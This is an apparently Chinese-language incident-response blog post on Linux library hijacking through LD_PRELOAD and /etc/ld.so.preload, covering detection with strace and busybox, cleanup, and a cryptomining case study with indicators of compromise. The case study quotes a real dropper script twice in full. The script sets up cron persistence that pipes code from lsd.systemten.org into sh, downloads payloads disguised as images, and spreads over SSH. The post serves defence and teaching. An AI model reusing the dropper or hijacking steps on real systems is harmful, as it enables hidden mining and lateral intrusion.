应急响应系列之Linux库文件劫持技术分析,有点硬核哟

0×01 菜逼阶段

Linux库文件劫持这种案例在今年的9月份遇到过相应的案例,当时的情况是有台服务器不断向个可疑IP发包,尝试建立连接,后续使用杀软杀出木马,重启后该服务器还是不断的发包,使用netstat、lsof等常用系统命令无法查看到相应的PID。这样的话就无法定位到相应的进程,协助处理,怀疑中了rootkit,使用rkhunter进行查杀,未杀出rootkit。以为是内核的问题导致无法查看到相应进程的PID,就没有深入分析。

0×02 持续菜逼

没过多久,内部同事也扔过来这样一个问题。也是通过netstat无法查看到相应的PID,同事怀疑中了木马,但是使用rkhunter等工具未查出异常,以为情况和前期一样,也没有深入分析与研究。

0×03 深入学习与了解原理

大概过了一个月,内部同事也遇到相同的问题,协助处置,经过学习与分析,发现前期自己的思路完全错误了,以为是内核问题导致的netstat无法查看到PID,并且前期太依赖工具(rootkit)的查杀结果,其实是库文件劫持导致的情况。深入学习与分析后,便有了今天这篇文章。将在处置与分析过程中遇到的各种坑同步给经常做应急的小伙伴,防止后期连续踩坑。

二、库文件劫持原理

前期有大佬做个这个案例的分析,感兴趣的小伙伴可以学习一下,个人感觉总结的非常全面。

https://www.freebuf.com/column/162604.html

引用里面的一张图,Linux动态预加载的流程如下:

1. 应用程序在通过系统接口调用内核时会预先加载动态链接库, 即使程序不依赖这些动态链接库,LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被加载。 2. 这个库里面主要包括两个内容:LD_PRELOAD和/etc/ld.so.preload 3. LD_PRELOAD用于预加载环境变量 4. /etc/ld.so.preload用于预加载配置文件 5. 默认情况下LD_PRELOAD和/etc/ld.so.preload无配置 6. 动态编译:不论程序依赖不依赖动态链接库,都会加载LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载 7. 静态编译:不动态加载系统库文件,直接将程序所需要的各种文件全部集中到该软件平台中,这样就可以解决系统库文件被劫持,中了rootkit等导致连接、网络等被隐藏的情况,常用的工具如busybox

三、库文件劫持技术

前文可以看到Linux预加载的配置文件主要有两个:LD_PRELOAD和/etc/ld.so.preload,因此针对Linux的库文件劫持可以围绕这两个进行展开,目前主流的劫持技术主要有三种:

更改LD_PRELOAD环境变量,加载恶意库文件

/etc/ld.so.preload加载恶意的库文件(主流的劫持技术)

更改默认的库文件/etc/ld.so.preload为其他库文件

其中第二条是目前遇到的最多的,其主要是通过更改/etc/ld.so.preload来预加载其他恶意的库文件来实现对系统命令,如netstat、cat、top等进行劫持,从而到达隐藏进程、连接、性能等目的,这种也是rootkit典型的技术。

3.1LD_PRELOAD劫持

3.1.1 劫持实现

这种劫持实现相对较简单,可以通过以下方法来实现:

1. LD_PRELOAD=/lib/f1c8d7.so      将LD_PRELOAD的值设置为要预加载的动态链接库 2. export LD_PRELOAD      导出环境变量使该环境变量生效 3.一般情况下相关的库文件会被加上隐藏属性

3.1.2 如何检测

1.因为是通过更改环境变量实现的加载恶意库文件,因此可以直接查看环境变量,简单效果好,echo $LD_PRELOAD即可查看到是否存在劫持

2.根据Linux的预加载机制,相应的系统命令都会加载LD_PRELOAD环境变量指定的内容,因此可以通过strace来跟踪相应系统命令加载的库文件来分析,我们知道Linux预加载就两个LD_PRELOAD和/etc/ld.so.preload,下面可以看到对/bin/ls进行跟踪发现其打开了/lib/f1c8d7.so,同时提示没有

/etc/ld.so.preload这个文件,因此可以判断是通过环境变量实现劫持的。

3.2 /etc/ld.so.preload劫持

3.2.1 如何实现

这种劫持方式是目前遇到的最多的也是最主流的劫持方式,其主要是修改其配置,将其加载一个恶意的库文件来实现劫持。这里面可以使用github里面的工具来实现,详细可参考:

https://github.com/mempodippy/cub3

3.2.2 劫持分析

使用cat无法查看相应的内容;使用busybox可以看到相应的内容,说明存在库劫持。并且其类型是修改/etc/ld.so.preload内容,增加恶意库文件实现劫持。

3.2.3 cub3.so内容

使用strings查看cub3.so内容

3.2.4 调试跟踪

由于cat命令被劫持了,因此我们可以使用strace来追踪/bin/cat命令的加载情况,可以看到其访问/etc/ld.so.preload,并且打开了/lib/cub3.so这个库文件。

3.2.5 如何处置

去掉隐藏属性

chattr -ia/etc/ld.so.preload

rm -rf/etc/ld.so.preload /lib/cub3.so

3.3 修改动态链接器劫持分析

3.3.1 如何实现

正常情况下,相关的系统功能会默认调用/etc/ld.so.preload这个库文件,但是也存在这个默认库文件被修改的情况,所以我们需要分析相关系统命令默认调用的库文件来分析其是否被修改。

正常情况下,相关系统命令调用的默认库文件可以通过strace命令来追踪,其如下所示:

strace -f -e trace=file /bin/ls

可以看到,其默认调用的是/etc/ld.so.preload这个库文件:

下面我们来修改这个默认库文件实现劫持来分析:

劫持使用的脚本为: https://github.com/mempodippy/vlany

创建后门账号test1

3.3.2 功能分析

通过其官方说明里可以看到,其特征就是rootkit的典型特征,具有隐藏进程、用户、网络、后门等。

3.3.3 劫持分析

正常情况下,我们可以看到其默认加载的库为/etc/ld.so.preload

安装完相应的恶意程序以后,其默认库文件被修改为/bin/.Kv8Xqykz,这个时候相关的默认库被修改了

3.3.4 如何处置

1.直接随便写一个库文件到/etc/ld.so.preload中 2.然后再删除/etc/ld.so.preload就可以了

四、如何检测库文件劫持

前面我们看到针对Linux的库文件劫持,常用的方法就三种:

更改LD_PRELOAD环境变量,加载恶意库文件

/etc/ld.so.preload加载恶意的库文件(主流的劫持技术)

更改默认的库文件/etc/ld.so.preload为其他库文件

因此,检测这一块也是针对性的进行检测

4.1分析LD_PRELOAD环境变量

比较简单,直接echo$LD_PRELOAD即可查看是否存在针对环境变量的劫持行为。这里就不再赘述。

4.2 静态查看与动态查看对比检测

原理比较简单,就是使用系统命令与静态工具,如busybox执行的命令进行对比,如果结果一致,这里面就不存在劫持。如果不一致就可能存在劫持。一般情况下,这种针对库文件的劫持会针对所有的系统命令进行劫持,因此我们可以随便选择一个系统命令,通过执行系统命令与使用busybox静态执行的命令进行对比即可发现是否存在劫持,详细实现如下:

4.3 使用strace进行动态跟踪

strace可用来跟踪相应的库文件加载情况,这种方式是相对靠谱的方式。若担心strace这个命令被替换或被植入rootkit可以使用busybox来执行该命令。

4.3.1 分析LD_PRELOAD环境变量劫持

根据Linux的预加载机制,相应的系统命令都会加载LD_PRELOAD环境变量指定的内容,因此可以通过strace来跟踪相应系统命令加载的库文件来分析,我们知道Linux预加载就两个LD_PRELOAD和/etc/ld.so.preload,下面可以看到对/bin/ls进行跟踪发现其打开了/lib/f1c8d7.so,同时提示没有

/etc/ld.so.preload这个文件,因此可以判断是通过环境变量实现劫持的。

4.3.2 分析/etc/ld.so.preload库文件劫持

由于cat命令被劫持了,因此我们可以使用strace来追踪/bin/cat命令的加载情况,可以看到其访问/etc/ld.so.preload,并且打开了/lib/cub3.so这个库文件。

4.3.3 分析修改默认动态链接器来实现劫持

使用strace进行跟踪可以看到其默认库文件被修改为/bin/.Kv8Xqykz,这个时候相关的默认库被修改了

4.4 github脚本

Github上有大佬放了用来检测库文件劫持的脚本,相应的脚本地址如下:

https://github.com/mempodippy/detect_preload

五、遇到的Linux库文件劫持案例

5.1现象

5.1.1 定时任务

系统被植入定时任务,但是通过crontab–r无法删除

相应的C2地址为lsd.systemten.org,通过微步在线查看其已被标识为远控、挖矿木马。

相应的脚本如下:

exportPATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin

mkdir -p /tmp

chmod 1777 /tmp

echo "*/10 * * * * (curl-fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org||python -c'import urllib;printurllib.urlopen(\" http://lsd.systemten.org \").read()')|sh"|crontab- cat > /etc/crontab <

SHELL=/bin/bash

PATH=/sbin:/bin:/usr/sbin:/usr/bin

*/10 * * * * root (curl -fsSL-m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org||python -c 'importurllib;printurllib.urlopen(" http://lsd.systemten.org ").read()'||/usr/local/sbin/638b6d9fb883b8)|sh

EOF

find /etc/cron*|xargs chattr -i

find /var/spool/cron*|xargschattr -i

grep -RE "(wget|curl)"/etc/cron*|grep -v systemten|cut -f 1 -d

xargs rm -rf

grep -RE"(wget|curl)" /var/spool/cron*|grep -v systemten|cut -f 1 -d

xargsrm -rf

cd /tmp

touch /usr/local/bin/writeable&& cd /usr/local/bin/

touch /usr/libexec/writeable&& cd /usr/libexec/

touch /usr/bin/writeable&& cd /usr/bin/

rm -rf /usr/local/bin/writeable/usr/libexec/writeable /usr/bin/writeable

export PATH=$PATH:$(pwd)

a64="img.sobot.com/chatres/89/msg/20191022/78e3582c42824f17aba17feefb87ea5f.png"

a32="img.sobot.com/chatres/89/msg/20191022/2be662ee79084035914e9d6a6d6be10d.png"

b64="cdn.xiaoduoai.com/cvd/dist/fileUpload/1571723350789/0.25579108623802416.jpg"

b32="cdn.xiaoduoai.com/cvd/dist/fileUpload/1571723382710/9.915787746614242.jpg"

c64=" https://user-images.githubusercontent.com/56861392/67261951-83ebf080-f4d5-11e9-9807-d0919c3b4b74.jpg "

c32=" https://user-images.githubusercontent.com/56861392/67262078-0aa0cd80-f4d6-11e9-8639-63829755ed31.jpg "

if [ ! -f"638b6d9fb883b8" ]; then

ARCH=$(getconf LONG_BIT)

if [ ${ARCH}x = "64x" ]; then

(curl -fsSL -m180 $a64 -o638b6d9fb883b8||wget -T180 -q $a64 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$a64'","638b6d9fb883b8")'||curl -fsSL -m180 $b64 -o 638b6d9fb883b8||wget-T180 -q $b64 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$b64'","638b6d9fb883b8")'||curl -fsSL -m180 $c64 -o 638b6d9fb883b8||wget-T180 -q $c64 -O 638b6d9fb883b8||python -c 'import urllib;urllib.urlretrieve("'$c64'","638b6d9fb883b8")')

else

(curl -fsSL -m180 $a32 -o638b6d9fb883b8||wget -T180 -q $a32 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$a32'","638b6d9fb883b8")'||curl -fsSL -m180 $b32 -o 638b6d9fb883b8||wget-T180 -q $b32 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$b32'","638b6d9fb883b8")'||curl -fsSL -m180 $c32 -o 638b6d9fb883b8||wget-T180 -q $c32 -O 638b6d9fb883b8||python -c 'import urllib;urllib.urlretrieve("'$c32'","638b6d9fb883b8")')

fi

fi

chmod +x 638b6d9fb883b8

$(pwd)/638b6d9fb883b8 ||./638b6d9fb883b8 || /usr/bin/638b6d9fb883b8 || /usr/libexec/638b6d9fb883b8 ||/usr/local/bin/638b6d9fb883b8 || 638b6d9fb883b8 || /tmp/638b6d9fb883b8 ||/usr/local/sbin/638b6d9fb883b8

if [ -f /root/.ssh/known_hosts] && [ -f /root/.ssh/id_rsa.pub ]; then

for h in $(grep -oE"\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh-oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h "(curl-fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org||python -c 'importurllib;print urllib.urlopen(\" http://lsd.systemten.org \").read()')|sh>/dev/null 2>&1 &" & done

fi

for file in /home/*

do

if test -d $file; then

if [ -f $file/.ssh/known_hosts ]&& [ -f $file/.ssh/id_rsa.pub ]; then

for h in $(grep -oE"\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh-oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h "(curl-fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org||python -c 'importurllib;print urllib.urlopen(\" http://lsd.systemten.org \").read()')|sh>/dev/null 2>&1 &" & done

fi

fi

done

#

xargs rm -rf

grep -RE"(wget|curl)" /var/spool/cron*|grep -v systemten|cut -f 1 -d

xargsrm -rf

cd /tmp

touch /usr/local/bin/writeable&& cd /usr/local/bin/

touch /usr/libexec/writeable&& cd /usr/libexec/

touch /usr/bin/writeable&& cd /usr/bin/

rm -rf /usr/local/bin/writeable/usr/libexec/writeable /usr/bin/writeable

export PATH=$PATH:$(pwd)

a64="img.sobot.com/chatres/89/msg/20191022/78e3582c42824f17aba17feefb87ea5f.png"

a32="img.sobot.com/chatres/89/msg/20191022/2be662ee79084035914e9d6a6d6be10d.png"

b64="cdn.xiaoduoai.com/cvd/dist/fileUpload/1571723350789/0.25579108623802416.jpg"

b32="cdn.xiaoduoai.com/cvd/dist/fileUpload/1571723382710/9.915787746614242.jpg"

c64=" https://user-images.githubusercontent.com/56861392/67261951-83ebf080-f4d5-11e9-9807-d0919c3b4b74.jpg "

c32=" https://user-images.githubusercontent.com/56861392/67262078-0aa0cd80-f4d6-11e9-8639-63829755ed31.jpg "

if [ ! -f"638b6d9fb883b8" ]; then

ARCH=$(getconf LONG_BIT)

if [ ${ARCH}x = "64x" ]; then

(curl -fsSL -m180 $a64 -o638b6d9fb883b8||wget -T180 -q $a64 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$a64'","638b6d9fb883b8")'||curl -fsSL -m180 $b64 -o 638b6d9fb883b8||wget-T180 -q $b64 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$b64'","638b6d9fb883b8")'||curl -fsSL -m180 $c64 -o 638b6d9fb883b8||wget-T180 -q $c64 -O 638b6d9fb883b8||python -c 'import urllib;urllib.urlretrieve("'$c64'","638b6d9fb883b8")')

else

(curl -fsSL -m180 $a32 -o638b6d9fb883b8||wget -T180 -q $a32 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$a32'","638b6d9fb883b8")'||curl -fsSL -m180 $b32 -o 638b6d9fb883b8||wget-T180 -q $b32 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$b32'","638b6d9fb883b8")'||curl -fsSL -m180 $c32 -o 638b6d9fb883b8||wget-T180 -q $c32 -O 638b6d9fb883b8||python -c 'import urllib;urllib.urlretrieve("'$c32'","638b6d9fb883b8")')

fi

fi

chmod +x 638b6d9fb883b8

$(pwd)/638b6d9fb883b8 ||./638b6d9fb883b8 || /usr/bin/638b6d9fb883b8 || /usr/libexec/638b6d9fb883b8 ||/usr/local/bin/638b6d9fb883b8 || 638b6d9fb883b8 || /tmp/638b6d9fb883b8 ||/usr/local/sbin/638b6d9fb883b8

if [ -f /root/.ssh/known_hosts] && [ -f /root/.ssh/id_rsa.pub ]; then

for h in $(grep -oE"\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh-oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h "(curl-fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org||python -c 'importurllib;print urllib.urlopen(\" http://lsd.systemten.org \").read()')|sh>/dev/null 2>&1 &" & done

fi

for file in /home/*

do

if test -d $file; then

if [ -f $file/.ssh/known_hosts ]&& [ -f $file/.ssh/id_rsa.pub ]; then

for h in $(grep -oE"\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh-oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h "(curl-fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org||python -c 'importurllib;print urllib.urlopen(\" http://lsd.systemten.org \").read()')|sh>/dev/null 2>&1 &" & done

fi

fi

done

#

5.1.2 本地文件

同时使用rm -rf命令也无法删除相应的文件

5.1.3 网络连接

通过分析网络连接,发现了和前期遇到相同的情况,看不到PID

5.1.4 性能分析

既然是挖矿其CPU肯定会被利用的非常多,但是我们使用TOP命令来看,其CPU利用率非常低,完全看不出有问题。

5.2分析

5.2.1 busybox分析

有了前面分析的基础,这个时候我们再去处置这个问题就相对简单了。Linux库文件劫持这块如果找不对方向处置的话会很头疼,明白了原理和手法以后再去分析就相对简单了。

直接上神器busybox,可以看到两个PID(104110和104025)占了98%以上的CPU

同时,使用busybox查看netstat可以看到前面没有看到的PID主要为104025。个人推测:PID为104110主要是用来进行挖矿的;104025主要是用来进行和矿池通信、分发任务等功能。

5.2.2 库文件劫持分析

直接使用buxybox查看,可以看到/etc/ld.so.preload加载了下面这个库文件/usr/local/lib/libEGID.so,这个库文件肯定是用来进行劫持使用的恶意库文件。

5.3 处置

上面可以看到该恶意程序的功能如下:

1. 库文件劫持 2. 创建定时任务 3. 禁止删除文件 4. 创建恶意进程 5. 网络外连

因此处置主要是根据上面的行为来进行针对性的处置,处置的前提是要收集好具体的恶意行为,如创建了哪些定时任务、生成了哪些恶意进程等。网上有人写了相应的脚本,我们在处置的时候可以参考相应的脚本,但是里面的进程可能不是脚本里面的进程、恶意的文件目录也可能不是脚本里面的,我们需要根据遇到的具体情况来进行更新与完善,相关的核心点如下:

5.3.1 删除定时任务

5.3.2 删除异常进程

5.3.3 修复动态库

5.3.4 修复启动项

5.4 总结

库文件劫持这种技术平时遇到的相对较少,但是在freebuf上搜了一下,从18年开始就流行了,平时如果没有这方面的积累,遇到以后还是难以处理。这篇文章相当于给大家扫盲,了解了其原理以后再去处置就会得心应手。

六、LOCs

6.1IP

121.237.8.28 121.237.8.29 121.237.8.31 121.237.8.33 121.237.8.35 121.237.8.36 121.237.8.38 121.237.8.41 121.237.8.42 121.237.8.47 121.237.8.48 121.237.8.50

6.2 域名

lsd.systemten.org aliyun.one

6.3 MD5

6e734be6192fc688421641fee6b06c01

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,080评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,422评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,630评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,554评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,662评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,856评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,014评论 3 408
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,752评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,212评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,541评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,687评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,347评论 4 331
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,973评论 3 315
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,777评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,006评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,406评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,576评论 2 349

推荐阅读更多精彩内容